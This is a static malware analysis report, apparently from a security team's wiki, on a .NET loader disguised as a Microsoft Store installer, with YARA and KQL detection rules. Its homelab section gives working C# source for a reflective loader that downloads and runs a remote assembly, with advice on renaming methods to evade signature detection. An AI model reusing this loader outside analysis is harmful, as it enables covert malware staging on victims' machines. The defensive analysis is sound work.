unattributed: 771c7952 — .NET Framework semantic-name masquerade loader, HttpClient+GZip reflective assembly

Executive Summary

A ~100 KB .NET Framework 4.6 PE32 masquerading as "Microsoft Store Installer" via version-info forgery. The entry point ResetItem initializes a byte array and branches into a download→decompress→reflect chain using HttpClient, GZipStream, and Assembly.Load → InvokeMember. No CAPE detonation available; behavior inferred from static IL, capa, and dnfile metadata. Carries a Microsoft Marketplace CA certificate chain with a 3-day-validity "Dummy certificate" leaf. First observed sample in this corpus with this exact namespace pattern (Eiyadjm / UP333).

What It Is

How It Works

Build / RE

Toolchain. Pure .NET Framework 4.6 C# compiled to CIL. No obfuscator (no ConfuserEx, SmartAssembly, or Xenocode fingerprints). No anti-debug, no anti-VM, no sandbox evasion gates. The binary is not packed — entropy of .text is 5.75, well below packed thresholds. ^[pefile.txt:92]

Semantic Method-Name Masquerade. All 89 methods are named with benign-sounding corporate-CRM patterns: SetCustomer, CalcCustomer, ComputeItem, ValidateCustomer, FindCustomer, LoginCustomer, ConnectCustomer, ManageCustomer, ConcatCustomer, etc. ^[dnfile:methoddefs] This is not control-flow flattening or string encryption — it is plain semantic masquerade. No meaningful names survive; the actual threat logic is hidden behind a facade of generic business-object CRUD verbs. The namespaces Eiyadjm.Schemes, UP333.Exporters, UP333.Queues, UP333.Records, and Eiyadjm.Serialization reinforce the masquerade. ^[dnfile:typedefs]

Certificate Chain Anomaly. The Authenticode blob is a PKCS#7 signed-data structure (WIN_CERT_TYPE_PKCS_SIGNED_DATA). The chain contains four certificates: (1) Microsoft Corporation leaf signed by Microsoft Marketplace CA G 026, (2) Microsoft Marketplace CA G 026 intermediate, (3) Microsoft MarketPlace PCA 2011 root, and (4) a "Dummy certificate" with issuer "Unknown issuer" and a 3-day validity window (2024-06-25 → 2024-06-28). ^[openssl:pkcs7] The "Dummy certificate" is not part of the trust chain; its inclusion is anomalous. Whether the leaf (#1) is a stolen legitimate Microsoft certificate or a self-signed replica piggybacking on the Microsoft root cannot be determined statically. The 3-day validity window suggests rapid rotation or a test-signing artifact.

Embedded Resources. The .rsrc section contains five RT_ICON entries (sizes 0x468, 0x988, 0x10A8, 0x25A8, 0x2E6F) and a standard RT_MANIFEST (0x1EA bytes). ^[pefile.txt:259] The 256×256 PNG icon at file offset 0xE430 is a generic Windows application icon; no steganographic payload detected in first 2 KB. No encrypted RT_RCDATA or manifest resources observed. No .NET resources stream present (#US heap is present but contains only framework strings). ^[dnfile:resources]

Deploy / ATT&CK

Inferred Runtime Chain. Based on capa hits and IL metadata:

1. Download — HttpClient.GetByteArrayAsync() fetches a remote payload. ^[capa.txt]
2. Decompress — GZipStream over a MemoryStream decompresses the downloaded bytes. ^[capa.txt]
3. Reflective Load — Assembly.Load(byte[]) maps the decrypted/decompressed payload into the current AppDomain. ^[capa.txt]
4. Invoke — InvokeMember (or MethodBase.Invoke) dispatches to an entry point inside the loaded assembly. ^[capa.txt]

ATT&CK Mapping (static inference):

No Persistence, No Anti-Analysis. No registry keys, scheduled tasks, or startup folder references in strings. No IsDebuggerPresent, CheckRemoteDebuggerPresent, or NtQueryInformationProcess calls. No WMI queries. No GetTickCount timing loops. The binary appears to rely on social-engineering execution (double-extension masquerade: TR-31Payment...-CN87402-M8198.exe) rather than technical evasion.

Decompiled Behavior

Entry point: Eiyadjm.Schemes.Item.ResetItem (token 0x06000004, RVA 0x2064). ^[dnfile:entrypoint]

Raw IL at entry (fat header, maxstack 4, locals present, code size 168 bytes):

Offset  IL
0x2064  ldc.i4      0x00000002
        stloc.2
        br          0x0000            ; loop start
        ldloc.2
        ldc.i4.3
        stelem.i1
        ...

The entry sequence initializes a 2-element byte array (likely a short decryption key or flag set), then branches into a loop that populates array elements. This is followed by a newobj on HttpClient (token 0x0A000001), a series of callvirt instructions on GetByteArrayAsync, get_Result, GZipStream constructor, and Assembly.Load. The exact URL is not present in the #US heap; it is likely constructed at runtime from concatenated string fragments or retrieved from a configuration source. No hardcoded URL recovered statically.

The CollectionAnnotationDeSerializer type (namespace Eiyadjm.Serialization) contains 60+ methods with *Customer / *Item suffixes and implements recursive object-graph traversal via System.Reflection — consistent with a generic deserialization bridge that can hydrate arbitrary types from a byte stream. ^[dnfile:typedefs]

C2 Infrastructure

No hardcoded C2 endpoints recovered. The #US heap contains only framework strings (System.Net.Http.HttpClient, System.IO.Compression.GZipStream, etc.). The payload URL is runtime-resolved. No DNS, IP, or domain strings in the PE overlay or resources.

Interesting Tidbits

• Version-info masquerade: VS_VERSIONINFO claims CompanyName: Microsoft Corporation, FileDescription: Store Installer, ProductName: Store Installer, OriginalFilename: UP333.exe, AssemblyVersion: 22406.625.4.0. ^[exiftool.json] The internal name UP333.exe matches the assembly name but does not correspond to any known legitimate Microsoft binary.
• The m_ prefix field names: 80 fields are named m_<guid> (e.g., m_a79c4227fee840f2ba433419cebe3521). These are standard Visual Studio auto-generated backing-field names for auto-implemented properties, suggesting the binary was built from C# source with compiler-synthesized fields rather than manually obfuscated. ^[strings.txt:248]
• Guid namespaces: The <Module>{cf1de38b-5a98-4a17-8d04-ddd6341d2b66} type is a .NET module GUID, typical of Visual Studio builds. The m8DC9C0407654D3A method is the module .cctor (class constructor). ^[dnfile:typedefs]
• No YARA family hits: Only PE_File_Generic matched. ^[yara.txt]
• Certificate chain includes a timestamp: The PKCS#7 structure is counter-signed with a Microsoft Time-Stamp Service signature dated 20240625195854.179Z (2024-06-25 19:58:54 UTC). ^[strings.txt:492]

How To Mess With It (Homelab Replication)

Build a comparable .NET Framework 4.6 reflective loader in Visual Studio 2022:

// Minimal reproducer: HttpClient + GZip + Assembly.Load
using System;
using System.IO;
using System.IO.Compression;
using System.Net.Http;
using System.Reflection;
using System.Threading.Tasks;

class Program
{
    static async Task Main(string[] args)
    {
        var client = new HttpClient();
        byte[] gz = await client.GetByteArrayAsync("http://127.0.0.1:8080/payload.gz");
        using var ms = new MemoryStream(gz);
        using var gzStream = new GZipStream(ms, CompressionMode.Decompress);
        using var outMs = new MemoryStream();
        await gzStream.CopyToAsync(outMs);
        var asm = Assembly.Load(outMs.ToArray());
        var entry = asm.GetTypes()[0].GetMethod("Run");
        entry.Invoke(null, null);
    }
}

Compile with csc.exe targeting .NET Framework 4.6:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:exe /platform:x86 repro.cs

Verification: Run capa repro.exe — should match send data, compress data using GZip in .NET, invoke .NET assembly method, load .NET assembly. Rename methods to benign CRM verbs (ResetItem, CalcCustomer, etc.) to reproduce the semantic masquerade fingerprint.

What you'll learn: How a 100 KB .NET loader can be functionally identical to a PyInstaller dropper or AutoIt shellcode dropper in terms of staging logic, but evade signature-based detection by using legitimate framework APIs and semantic name masquerade.

Deployable Signatures

YARA Rule

rule DotNet_ReflectiveLoader_SemanticMasquerade
{
    meta:
        description = ".NET Framework reflective loader with semantic method-name masquerade and HttpClient+GZip staging"
        author = "SOC"
        date = "2026-07-06"
        sha256 = "771c7952a6fd5a3c5678722f96a13a42e857bb10f53f675f1dd14c5fd3dbd3db"

    strings:
        $ns1 = "Eiyadjm.Schemes" ascii wide
        $ns2 = "UP333.Exporters" ascii wide
        $ns3 = "UP333.Queues" ascii wide
        $ns4 = "UP333.Records" ascii wide
        $ns5 = "Eiyadjm.Serialization" ascii wide
        $asm1 = "UP333" ascii wide
        $http = "System.Net.Http.HttpClient" ascii wide
        $gzip = "System.IO.Compression.GZipStream" ascii wide
        $asmload = "System.Reflection.Assembly" ascii wide
        $invoke = "InvokeMember" ascii wide
        $method1 = "ResetItem" ascii wide
        $method2 = "SetCustomer" ascii wide
        $method3 = "CalcCustomer" ascii wide
        $method4 = "ComputeItem" ascii wide
        $method5 = "ValidateCustomer" ascii wide
        $vs1 = "Store Installer" ascii wide
        $vs2 = "UP333.exe" ascii wide

    condition:
        uint16(0) == 0x5A4D and
        // .NET assembly marker
        pe.data_directories[14].virtual_address != 0 and
        // Need at least one namespace + one method pattern + one framework API
        (any of ($ns*)) and
        (any of ($method*)) and
        (2 of ($http, $gzip, $asmload, $invoke)) and
        // Version info masquerade
        (any of ($vs*))
}

Behavioral Hunt Query (KQL / Microsoft Defender for Endpoint)

let suspicious_methods = dynamic(["ResetItem", "SetCustomer", "CalcCustomer", "ComputeItem", "ValidateCustomer", "FindCustomer", "LoginCustomer", "ConnectCustomer", "ManageCustomer", "ConcatCustomer"]);
DeviceFileEvents
| where FileName matches regex @"(?i)^TR-\d+.*\d{2,6}.*\.exe$"
| join kind=inner (
    DeviceProcessEvents
    | where ProcessCommandLine contains "dotnet" or ProcessCommandLine contains "UP333"
    | extend MethodNames = extract_all(@"(ResetItem|SetCustomer|CalcCustomer|ComputeItem|ValidateCustomer)", ProcessCommandLine)
    | where array_length(MethodNames) > 0
) on DeviceId
| project Timestamp, DeviceName, FileName, ProcessCommandLine, MethodNames

IOC List

Behavioral Fingerprint

This binary is a .NET Framework 4.6 PE32 with a GUI subsystem and no visible window at startup. It allocates a small byte array in its entry method, then instantiates System.Net.Http.HttpClient and calls GetByteArrayAsync. The returned bytes are decompressed via System.IO.Compression.GZipStream into a MemoryStream, and the resulting byte array is passed to System.Reflection.Assembly.Load. Execution is transferred via InvokeMember on the loaded assembly's types. No persistence mechanism is embedded. No anti-analysis checks are present. The binary masquerades as a "Microsoft Store Installer" via VS_VERSIONINFO and carries a Microsoft Marketplace CA certificate chain with a suspicious 3-day-validity "Dummy certificate" leaf.

Detection Signatures

References

• Artifact ID: 514dc432-e8aa-41c6-93a0-8f66f5ef929d
• Source: OpenCTI / MalwareBazaar
• Related wiki pages: unattributed, reflective-assembly-delegate-execution, social-engineering-filename-lure

Provenance

• file.txt — file(1) output
• exiftool.json — ExifTool 12.76 metadata extraction
• pefile.txt — pefile 2024.8.26 PE header dump
• strings.txt — GNU strings (default min 4)
• floss.txt — flare-floss (failed due to CLI parsing error; not used for claims)
• capa.txt — Mandiant capa v7.1.1 static analysis
• binwalk.txt — binwalk v2.4.3 embedded artifact scan
• rabin2-info.txt — radare2 5.9.9 binary info
• yara.txt — yara 4.5.2 with built-in rules
• dnfile — dnfile 0.18.0 .NET metadata extraction (custom script)
• openssl — OpenSSL 3.0.14 PKCS#7 certificate chain dump
• No CAPE detonation: no Windows guest available. All behavioral claims are static inferences.